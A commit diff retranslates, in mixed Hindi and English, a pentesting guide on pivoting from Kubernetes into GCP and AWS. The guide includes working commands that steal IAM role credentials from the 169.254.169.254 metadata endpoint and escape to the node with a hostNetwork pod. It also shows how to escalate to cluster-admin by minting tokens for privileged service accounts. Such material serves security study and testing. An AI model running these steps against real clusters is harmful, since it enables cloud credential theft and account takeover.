Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv

2025-12-27 05:03:31 -08:00 · 2025-08-28 18:04:37 +00:00
parent 6ccce9d318
commit 94effe5cda
1 changed files with 72 additions and 53 deletions
--- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
@@ -4,62 +4,62 @@

 ## GCP

-यदि आप GCP के अंदर एक k8s क्लस्टर चला रहे हैं, तो आप शायद चाहेंगे कि क्लस्टर के अंदर चलने वाला कुछ एप्लिकेशन GCP तक कुछ पहुंच प्राप्त करे। ऐसा करने के 2 सामान्य तरीके हैं:
+यदि आप GCP के अंदर k8s cluster चला रहे हैं तो आप संभवतः चाहेंगे कि क्लस्टर के अंदर चल रहा कोई application GCP तक access कर सके। इसे करने के 2 सामान्य तरीके हैं:

-### GCP-SA कुंजी को गुप्त के रूप में माउंट करना
+### Mounting GCP-SA keys as secret

-**GCP तक एक kubernetes एप्लिकेशन को पहुंच देने** का एक सामान्य तरीका है:
+GCP को एक **kubernetes application** को access देने का एक सामान्य तरीका है:

- एक GCP सेवा खाता बनाएं
- उस पर इच्छित अनुमतियों को बांधें
- बनाए गए SA की एक json कुंजी डाउनलोड करें
- इसे पॉड के अंदर एक गुप्त के रूप में माउंट करें
- GOOGLE_APPLICATION_CREDENTIALS पर्यावरण चर को उस पथ की ओर इंगित करें जहां json है।
+- एक GCP Service Account बनाएं
+- उस पर इच्छित permissions bind करें
+- बने हुए SA की json key डाउनलोड करें
+- इसे pod के अंदर secret के रूप में mount करें
+- GOOGLE_APPLICATION_CREDENTIALS environment variable को उस path की ओर पॉइंट करते हुए सेट करें जहाँ json मौजूद है।

 > [!WARNING]
-> इसलिए, एक **हमलावर** के रूप में, यदि आप एक पॉड के अंदर एक कंटेनर से समझौता करते हैं, तो आपको उस **env** **variable** और **json** **files** की जांच करनी चाहिए जिनमें GCP क्रेडेंशियल्स हैं।
+> इसलिए, एक **attacker** के रूप में, यदि आप pod के अंदर किसी container से समझौता करते हैं, तो आपको उस **env** **variable** और GCP credentials वाले **json** **files** के लिए जांच करनी चाहिए।

-### GSA json को KSA गुप्त से संबंधित करना
+### Relating GSA json to KSA secret

-GKE क्लस्टर को GSA तक पहुंच देने का एक तरीका इस प्रकार है:
+GSA को GKE cluster तक access देने का एक तरीका उन्हें इस तरह bind करना है:

- निम्नलिखित कमांड का उपयोग करके अपने GKE क्लस्टर के समान नामस्थान में एक Kubernetes सेवा खाता बनाएं:
+- अपने GKE cluster के उसी namespace में एक Kubernetes service account बनाएं, निम्नलिखित command का उपयोग करके:
 ```bash
-Copy codekubectl create serviceaccount <service-account-name>
+kubectl create serviceaccount <service-account-name>
 ```
- एक Kubernetes Secret बनाएं जिसमें GKE क्लस्टर तक पहुँच प्रदान करने के लिए GCP सेवा खाते के क्रेडेंशियल्स शामिल हों। आप इसे `gcloud` कमांड-लाइन टूल का उपयोग करके कर सकते हैं, जैसा कि निम्नलिखित उदाहरण में दिखाया गया है:
+- उस GCP service account के credentials को शामिल करने वाला एक Kubernetes Secret बनाएं जिसे आप GKE क्लस्टर तक पहुँच देना चाहते हैं। आप इसे `gcloud` command-line टूल का उपयोग करके कर सकते हैं, जैसा कि निम्न उदाहरण में दिखाया गया है:
 ```bash
-Copy codegcloud iam service-accounts keys create <key-file-name>.json \
+gcloud iam service-accounts keys create <key-file-name>.json \
 --iam-account <gcp-service-account-email>
 kubectl create secret generic <secret-name> \
 --from-file=key.json=<key-file-name>.json
 ```
- Kubernetes सेवा खाते के साथ Kubernetes Secret को निम्नलिखित कमांड का उपयोग करके बाइंड करें:
+- Kubernetes Secret को Kubernetes service account के साथ निम्नलिखित कमांड का उपयोग करके बाइंड करें:
 ```bash
-Copy codekubectl annotate serviceaccount <service-account-name> \
+kubectl annotate serviceaccount <service-account-name> \
 iam.gke.io/gcp-service-account=<gcp-service-account-email>
 ```
 > [!WARNING]
-> **दूसरे चरण** में **KSA के रहस्य के रूप में GSA के प्रमाणपत्र सेट किए गए थे**। फिर, यदि आप **GKE** क्लस्टर के **अंदर** से **उस रहस्य को पढ़ सकते हैं**, तो आप **उस GCP सेवा खाते** तक **उन्नति** कर सकते हैं।
+> इस **second step** में **credentials of the GSA as secret of the KSA** सेट किए गए थे। फिर, यदि आप **read that secret** को **inside** के **GKE** क्लस्टर से पढ़ सकते हैं, तो आप **escalate to that GCP service account** कर सकते हैं।

-### GKE कार्यभार पहचान
+### GKE Workload Identity

-कार्यभार पहचान के साथ, हम एक[ Kubernetes सेवा खाता](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) को[ Google सेवा खाता](https://cloud.google.com/iam/docs/understanding-service-accounts) के रूप में कार्य करने के लिए कॉन्फ़िगर कर सकते हैं। Kubernetes सेवा खाते के साथ चलने वाले पॉड Google क्लाउड APIs तक पहुँचते समय स्वचालित रूप से Google सेवा खाते के रूप में प्रमाणित होंगे।
+Workload Identity के साथ, हम configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) को act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) के रूप में कॉन्फ़िगर कर सकते हैं। Kubernetes service account के साथ चलने वाले Pods Google Cloud APIs तक पहुँचने पर स्वतः ही Google service account के रूप में authenticate कर लेंगे।

-इस व्यवहार को सक्षम करने के लिए **पहली श्रृंखला के चरण** हैं **GCP में कार्यभार पहचान को सक्षम करना** ([**चरण**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) और वह GCP SA बनाना जिसे आप k8s के रूप में कार्य करना चाहते हैं।
+The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.

- **नए क्लस्टर पर कार्यभार पहचान सक्षम करें**
+- **Enable Workload Identity** on a new cluster
 ```bash
 gcloud container clusters update <cluster_name> \
 --region=us-central1 \
 --workload-pool=<project-id>.svc.id.goog
 ```
- **नया नोडपूल बनाएं/अपडेट करें** (ऑटोपायलट क्लस्टर को इसकी आवश्यकता नहीं है)
+- **नया nodepool बनाएँ/अपडेट करें** (Autopilot क्लस्टरों को इसकी आवश्यकता नहीं है)
 ```bash
 # You could update instead of create
 gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
 ```
- K8s से GCP अनुमतियों के साथ **GCP सेवा खाता बनाएं** जिसे अनुकरण करना है:
+- K8s से GCP permissions के साथ **GCP Service Account to impersonate** बनाएं:
 ```bash
 # Create SA called "gsa2ksa"
 gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
 --member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
 --role "roles/iam.securityReviewer"
 ```
- **क्लस्टर** से **जुड़ें** और **सेवा खाता** **बनाएँ** जिसका उपयोग करें
+- **Connect** to the **cluster** और उपयोग के लिए **create** करें **service account**
 ```bash
 # Get k8s creds
 gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
 --namespace testing \
 iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
 ```
- **KSA** के साथ एक **pod** चलाएँ और **GSA** तक **पहुँच** की जाँच करें:
+- एक **pod** को **KSA** के साथ चलाएँ और **GSA** तक **access** की जाँच करें:
 ```bash
 # If using Autopilot remove the nodeSelector stuff!
 echo "apiVersion: v1
@@ -118,15 +118,14 @@ kubectl exec -it workload-identity-test \
 curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
 gcloud auth list
 ```
-नीचे दिए गए कमांड को जांचें ताकि आवश्यकता होने पर प्रमाणीकरण किया जा सके:
+आवश्यक होने पर प्रमाणीकृत करने के लिए निम्न कमांड जांचें:
 ```bash
 gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
 ```
 > [!WARNING]
-> एक हमलावर के रूप में K8s के अंदर आपको **SAs के लिए खोज करनी चाहिए** जिनके पास **`iam.gke.io/gcp-service-account` एनोटेशन** है क्योंकि यह संकेत करता है कि SA GCP में कुछ तक पहुँच सकता है। एक और विकल्प होगा कि क्लस्टर में प्रत्येक KSA का दुरुपयोग करने की कोशिश करें और जांचें कि क्या इसकी पहुँच है।\
-> GCP से हमेशा बाइंडिंग को सूचीबद्ध करना और जानना **महत्वपूर्ण है कि आप Kubernetes के अंदर SAs को कौन सी पहुँच दे रहे हैं**।
+> K8s के अंदर attacker के रूप में आपको **search for SAs** करना चाहिए जिनके पास **`iam.gke.io/gcp-service-account` annotation** है क्योंकि यह दर्शाता है कि वह SA GCP में कुछ access कर सकता है। दूसरा विकल्प यह है कि क्लस्टर के हर KSA को abuse करके देखें कि क्या उसे access है.\ From GCP की तरफ़ से हमेशा bindings को enumerate करना और यह जानना दिलचस्प होता है कि आप **Kubernetes के अंदर SAs को कौन सा access दे रहे हैं**।

-यह एक स्क्रिप्ट है जो आसानी से **सभी पॉड्स** परिभाषाओं को **देखने** के लिए **इटरेट** करती है कि **एनोटेशन** के लिए:
+This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
 ```bash
 for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
 for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -139,11 +138,11 @@ done | grep -B 1 "gcp-service-account"
 ```
 ## AWS

-### Kiam & Kube2IAM (Pods के लिए IAM भूमिका) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
+### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

-Pods को IAM Roles देने का (पुराना) तरीका एक [**Kiam**](https://github.com/uswitch/kiam) या [**Kube2IAM**](https://github.com/jtblin/kube2iam) **सर्वर** का उपयोग करना है। मूल रूप से, आपको अपने क्लस्टर में एक **daemonset** चलाने की आवश्यकता होगी जिसमें एक **प्रिविलेज्ड IAM भूमिका** हो। यह daemonset उन pods को IAM भूमिकाओं तक पहुँच प्रदान करेगा जिन्हें इसकी आवश्यकता है।
+Pods को IAM Roles देने का एक (पुराना) तरीका [**Kiam**](https://github.com/uswitch/kiam) या [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server** का उपयोग करना है। सामान्यतः आपको अपने cluster में एक **daemonset** चलाना होगा जिसके पास एक **kind of privileged IAM role** हो। यह daemonset उन Pods को IAM Roles तक पहुंच प्रदान करेगा जिन्हें इसकी आवश्यकता है।

-सबसे पहले, आपको **यह कॉन्फ़िगर करने की आवश्यकता है कि कौन सी भूमिकाएँ namespace के अंदर एक्सेस की जा सकती हैं**, और आप यह namespace ऑब्जेक्ट के अंदर एक एनोटेशन के साथ करते हैं:
+सबसे पहले आपको कॉन्फ़िगर करना होगा कि **which roles can be accessed inside the namespace**, और आप यह namespace object के अंदर एक annotation के साथ करते हैं:
 ```yaml:Kiam
 kind: Namespace
 metadata:
@@ -161,7 +160,7 @@ iam.amazonaws.com/allowed-roles: |
 ["role-arn"]
 name: default
 ```
-एक बार जब नामस्थान IAM भूमिकाओं के साथ कॉन्फ़िगर हो जाता है, तो Pods में आप जिस भूमिका को चाहते हैं, उसे प्रत्येक पोड परिभाषा में कुछ इस तरह **संकेतित कर सकते हैं**:
+एक बार namespace को उन IAM roles के साथ configure कर दिया गया है जिन्हें Pods ले सकते हैं, आप प्रत्येक pod definition पर जिस role को आप चाहते हैं उसे **कुछ इस तरह निर्दिष्ट कर सकते हैं**:
 ```yaml:Kiam & Kube2iam
 kind: Pod
 metadata:
@@ -171,12 +170,12 @@ annotations:
 iam.amazonaws.com/role: reportingdb-reader
 ```
 > [!WARNING]
-> एक हमलावर के रूप में, यदि आप **इन एनोटेशन** को पॉड्स या नेमस्पेस में या एक kiam/kube2iam सर्वर (संभवतः kube-system में) चलाते हुए पाते हैं, तो आप **हर उस र**ोल का **नकली रूप धारण कर सकते हैं** जो पहले से **पॉड्स द्वारा उपयोग किया जा रहा है** और अधिक (यदि आपके पास AWS खाते तक पहुंच है तो भूमिकाओं की सूची बनाएं)।
+> As an attacker, यदि आप **इन annotations को ढूँढते हैं** pods या namespaces में या किसी चल रहे kiam/kube2iam server (शायद kube-system में) में पाते हैं तो आप **हर role को impersonate कर सकते हैं** जो पहले से **pods द्वारा उपयोग किए गए हैं** और भी बहुत कुछ (अगर आपके पास AWS account की access है तो roles को enumerate करें).

-#### IAM भूमिका के साथ पॉड बनाएं
+#### Create Pod with IAM Role

 > [!NOTE]
-> IAM भूमिका जो इंगित की जानी चाहिए, वह उसी AWS खाते में होनी चाहिए जैसे कि kiam/kube2iam भूमिका और उस भूमिका को इसे एक्सेस करने में सक्षम होना चाहिए।
+> सूचित किया जाने वाला IAM role उसी AWS account में होना चाहिए जिसमें kiam/kube2iam role है और वह role इसे access कर पाने में सक्षम होना चाहिए.
 ```yaml
 echo 'apiVersion: v1
 kind: Pod
@@ -196,10 +195,10 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f -

 यह **AWS द्वारा अनुशंसित तरीका** है।

-1. सबसे पहले आपको [क्लस्टर के लिए OIDC प्रदाता बनाना होगा](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)।
-2. फिर आप एक IAM भूमिका बनाते हैं जिसमें SA को आवश्यक अनुमतियाँ होती हैं।
-3. एक [विश्वास संबंध बनाएं IAM भूमिका और SA के बीच](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) नाम (या उन namespaces को जो भूमिका को namespace के सभी SAs तक पहुँच प्रदान करते हैं)। _विश्वास संबंध मुख्य रूप से OIDC प्रदाता का नाम, namespace का नाम और SA का नाम जांचेगा_।
-4. अंत में, **एक SA बनाएं जिसमें भूमिका के ARN को इंगित करने वाला एक एनोटेशन हो**, और उस SA के साथ चलने वाले पॉड्स को **भूमिका के टोकन तक पहुँच** होगी। **टोकन** **एक फ़ाइल** के अंदर **लिखा** जाता है और पथ **`AWS_WEB_IDENTITY_TOKEN_FILE`** में निर्दिष्ट किया गया है (डिफ़ॉल्ट: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
+1. सबसे पहले आपको [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) करने की आवश्यकता है।
+2. फिर आप एक IAM role बनाते हैं जिसमें SA को आवश्यक अनुमतियाँ हों।
+3. एक [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) बनाएं (या उन namespaces को, जिनके सभी SAs को role तक access दिया गया हो)। _Trust relationship मुख्य रूप से OIDC provider name, namespace name और SA name की जाँच करेगा_.
+4. अंत में, **ARN of the role को सूचित करने वाला annotation वाला SA बनाएँ**, और उस SA के साथ चलने वाले pods के पास role के token तक पहुँच होगी। यह **token** एक फाइल में **लिखा जाता है** और path **`AWS_WEB_IDENTITY_TOKEN_FILE`** में निर्दिष्ट है (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
 ```bash
 # Create a service account with a role
 cat >my-service-account.yaml <<EOF
@@ -216,19 +215,19 @@ kubectl apply -f my-service-account.yaml
 # Add a role to an existent service account
 kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
 ```
-**टोकन का उपयोग करके aws प्राप्त करने के लिए** `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` से चलाएँ:
+`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` से **token का उपयोग करके aws प्राप्त करने के लिए** चलाएँ:
 ```bash
 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
 ```
 > [!WARNING]
-> एक हमलावर के रूप में, यदि आप एक K8s क्लस्टर को सूचीबद्ध कर सकते हैं, तो **AWS** पर **उन्नति** करने के लिए **उस एनोटेशन के साथ सेवा खातों** की जांच करें। ऐसा करने के लिए, बस एक IAM **विशिष्ट सेवा खाते** का उपयोग करके **exec/create** एक **pod** करें और टोकन चुराएं।
+> एक हमलावर के रूप में, यदि आप किसी K8s cluster का enumeration कर सकते हैं, तो **service accounts with that annotation** की जाँच करें ताकि **escalate to AWS** किया जा सके। ऐसा करने के लिए, बस IAM के किसी एक **privileged service accounts** का उपयोग करके एक **pod** **exec/create** करें और token चुरा लें।
 >
-> इसके अलावा, यदि आप एक pod के अंदर हैं, तो **AWS_ROLE_ARN** और **AWS_WEB_IDENTITY_TOKEN** जैसे env वेरिएबल्स की जांच करें।
+> इसके अलावा, यदि आप किसी pod के अंदर हैं, तो **AWS_ROLE_ARN** और **AWS_WEB_IDENTITY_TOKEN** जैसे env variables की जाँच करें।

 > [!CAUTION]
-> कभी-कभी एक भूमिका की **Turst Policy** **खराब कॉन्फ़िगर** की जा सकती है और अपेक्षित सेवा खाते को AssumeRole एक्सेस देने के बजाय, यह **सभी सेवा खातों** को देती है। इसलिए, यदि आप एक नियंत्रित सेवा खाते पर एक एनोटेशन लिखने में सक्षम हैं, तो आप भूमिका तक पहुंच सकते हैं।
+> कभी-कभी **Turst Policy of a role** गलत तरीके से **bad configured** हो सकती है और अपेक्षित service account को AssumeRole access देने के बजाय यह इसे **all the service accounts** को दे देती है। इसलिए, यदि आप किसी नियंत्रित service account पर annotation लिखने में सक्षम हैं, तो आप उस role तक पहुँच सकते हैं।
 >
-> अधिक जानकारी के लिए **निम्नलिखित पृष्ठ की जांच करें**:
+> अधिक जानकारी के लिए **following page for more information** देखें:

 {{#ref}}
 ../aws-security/aws-basic-information/aws-federation-abuse.md
@@ -236,7 +235,7 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/

 ### Find Pods a SAs with IAM Roles in the Cluster

-यह एक स्क्रिप्ट है जो आसानी से **सभी pods और sas** परिभाषाओं को **देखने** के लिए **इटरेट** करती है जो **उस एनोटेशन** की तलाश करती है:
+यह एक script है जो आसानी से **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
 ```bash
 for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
 for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -253,19 +252,26 @@ echo ""
 done
 done | grep -B 1 "amazonaws.com"
 ```
-### Node IAM Role
+### Node IAM Role to cluster-admin

-पिछला अनुभाग IAM Roles को pods के साथ चुराने के बारे में था, लेकिन ध्यान दें कि K8s क्लस्टर का एक **Node** **क्लाउड के अंदर एक इंस्टेंस** होने वाला है। इसका मतलब है कि Node के पास **एक नया IAM रोल हो सकता है जिसे आप चुरा सकते हैं** (_ध्यान दें कि आमतौर पर K8s क्लस्टर के सभी नोड्स के पास एक ही IAM रोल होगा, इसलिए प्रत्येक नोड पर जांचने की कोशिश करना शायद इसके लायक नहीं है_)।
+The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have an IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).

-हालांकि, नोड से मेटाडेटा एंडपॉइंट तक पहुंचने के लिए एक महत्वपूर्ण आवश्यकता है, आपको नोड में होना चाहिए (ssh सत्र?) या कम से कम उसी नेटवर्क में होना चाहिए:
+Node metadata endpoint तक पहुँचने के लिए आपको:
+- किसी pod में होना चाहिए और metadata endpoint कम से कम 2 tcp hops के लिए configured होना चाहिए। यह सबसे आम गलत कॉन्फ़िगरेशन है क्योंकि सामान्यतः क्लस्टर के अलग-अलग pods को metadata endpoint की access चाहिए ताकि वे सही तरह से चलें और कई कंपनियाँ बस क्लस्टर के सभी pods से metadata endpoint की access allow कर देती हैं।
+- ऐसे pod में होना चाहिए जहाँ `hostNetwork` enabled हो।
+- Node तक escape करें और metadata endpoint को सीधे access करें।
+
+(ध्यान दें कि metadata endpoint हमेशा की तरह 169.254.169.254 पर है).
+
+To **escape to the node** you can use the following command to run a pod with `hostNetwork` enabled:
 ```bash
 kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
 ```
-### IAM भूमिका टोकन चुराना
+### Steal IAM Role Token

-पहले हमनें चर्चा की है कि **Pods को IAM भूमिकाएँ कैसे संलग्न करें** या यहां तक कि **IAM भूमिका चुराने के लिए नोड पर कैसे भागें** जो इंस्टेंस के साथ संलग्न है।
+पहले हमने चर्चा की थी कि कैसे **attach IAM Roles to Pods** या यहां तक कि कैसे **escape to the Node to steal the IAM Role** जो instance से जुड़ा हुआ है।

-आप अपने नए मेहनत से कमाए गए **IAM भूमिका क्रेडेंशियल्स** को **चुराने** के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं:
+आप निम्नलिखित script का उपयोग कर सकते हैं **steal** करने के लिए अपने नए मेहनत से प्राप्त **IAM role credentials**:
 ```bash
 IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
 if [ "$IAM_ROLE_NAME" ]; then
@@ -276,6 +282,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
 fi
 fi
 ```
+### Privesc to cluster-admin
+
+सारांश: अगर किसी pod से **access the EKS Node IAM role** संभव है, तो पूरा **compromise the full kubernetes cluster** करना संभव है।
+
+For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). As summary, the default IAM EKS role that is assigned to the EKS nodes by default is assigned the role `system:node` inside the cluster. This role is very interesting although is limited by the kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
+
+However, the node can always **generate tokens for service accounts** running in pods inside the node. So, if the node is running a pod with a privileged service account, the node can generate a token for that service account and use it to impersonate the service account like in:
+```bash
+kubectl --context=node1 create token -n ns1 sa-priv \
+--bound-object-kind=Pod \
+--bound-object-name=pod-priv \
+--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
+```
 ## संदर्भ

 - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)